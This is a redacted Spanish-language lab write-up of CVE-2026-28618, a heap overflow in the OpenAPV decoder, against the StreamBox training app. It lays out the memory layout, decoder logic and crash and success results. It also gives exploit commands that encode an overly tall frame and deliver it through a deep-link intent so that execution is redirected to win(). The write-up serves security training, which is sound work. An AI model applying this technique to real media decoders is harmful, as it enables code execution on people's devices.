
Notas redactadas sobre CVE-2026-28618 / laboratorio StreamBox APV — escritura en el heap dentro de un objeto de sesión mediante un desajuste de altura de FRAME
CVE-2026-28618 en StreamBox — la misma clase de decodificador OpenAPV que CVE-2026-0006, convertida en una escritura en el heap contra un objeto de sesión.
Este repositorio es un writeup público y censurado: se omiten las flags, los tokens de instancia y la clave HMAC. El APK y make_clip.py pertenecen a Mobile Hacking Lab; no se replican aquí.

StreamBox es un pequeño reproductor APV. APV es Advanced Professional Video (RFC 9924), el códec libre de regalías de Samsung, la misma familia que se distribuyó en el stack multimedia de Android. La premisa del laboratorio es una sola frase: el reproductor reproduce los clips compartidos al recibirlos.
SEND, VIEW o streambox://play?url=… copia un archivo en files/incoming.apv y se ejecuta NativeDec.loadClip().
El fallo es CVE-2026-28618: un desbordamiento de búfer en el heap en dec_frm_prepare de OpenAPV. La misma clase de decodificador que CVE-2026-0006.
El laboratorio empaqueta esa escritura como un juego. Desborda el plano Y codificado de forma fija en 64×64, corrompe un objeto de sesión adyacente, redirige el teardown hacia handlers[2], y el Worker devuelve la flag.
El kit son dos zips del laboratorio:
streambox-lab.apk.zip — el reproductormake_clip.py.zip — cómo se construyeron los clips de la biblioteca de 64×64, y el bitstream que desbordasLa QEMU con imagen de sistema ARM64 de Android Studio encaja mal en un host x86-64. Este APK es arm64-v8a / minSdk 34. Un AVD x86_64 API 34 con libndk_translation.so (abilist=x86_64,arm64-v8a) lo instala y lo ejecuta.


PlayerActivity hace:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path); // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity
loadClip devuelve 1 (premium / session smash) o 2 (win() ya se ejecutó). openTier solo navega por la interfaz de usuario.
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
Al arrancar, la aplicación ya hizo POST /api/instance y NativeDec.setPlatinumToken(token). Ese token es lo que el desbordamiento tiene que escribir en la sesión.

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
El oapv_imgb_t está codificado de forma fija como 64×64, YUV de 10 bits. El plano 0 (Y) comienza en arena+0. 64 × 64 × 2 = 0x2000. La sesión es arena + 0x2000 + pad. pad es SB_SESS_PAD o un nibble alineado a 0x400 de rand() después de srand(getpid()^time()). En el AVD, Sunset Drive registró session-arena = 0x3800 (pad = 0x1800). El tile extra de 64×128 es de 0x2000 bytes, por lo que aún alcanza la sesión para esos valores de pad.
oapvd_decode() escribe en el ancho/alto del FRAME PBU. Un FRAME más alto que 64 escribe muestras de 10 bits directamente en session.
Después de la decodificación:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

El generador del laboratorio dibuja 32 fotogramas de 64×64 RGB, convierte a yuv422p10le y llama al codificador de referencia OpenAPV:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
Cada clip incluido consta de 32 unidades de acceso de FRAME 64×64:
[u32be au_size] ['aPv1' + PBUs] × 32
El reproductor asigna 64×64. Los mosaicos APV son de 64×64.
qemu-user (qemu-aarch64 + Android 10 linker64) y el AVD coinciden:
| Clip | qemu-user streambox_load | AVD loadClip |
|---|---|---|
| Clip de biblioteca de 64×64 | 0 | 0 (premium_hit=0) |
| altura de cabecera 64→72 | SIGABRT oapvd_vlc_ac_coef | SIGABRT, misma aserción, el proceso muere (inicio tras el fallo) |
| codificación real 64×128 (dos mosaicos, QP 0) | 1 | 1 premium_hit=1 → ANOMALÍA DE SESIÓN |
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
-n com.mobilehackinglab.streambox/.MainActivity

Una segunda codificación, en bucle cerrado contra la reconstrucción del codificador, implanta el access token activo y el manejador 2 (la entrada Y≈4 se reconstruye como 2). Repite ese prefijo de 16 bytes a lo largo del plano Y de 64×128 para que el relleno no importe.
# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
-d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
-n com.mobilehackinglab.streambox/.MainActivity
En el AVD:
gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

win() se ejecutó dentro de loadClip. openTier(2) solo abrió PremiumActivity, que envió esa prueba mediante POST.
Configuración para qemu-user (no el emulador ARM64 de Android Studio): consulta los comentarios en encode_overflow.py y el qemu-harness/README.md del laboratorio.
PoC público relacionado para la clase de bug padre: mobilehackinglab/CVE-2026-0006-openapv-poc.
Python urllib recibe Cloudflare 1010. curl con un UA móvil funciona.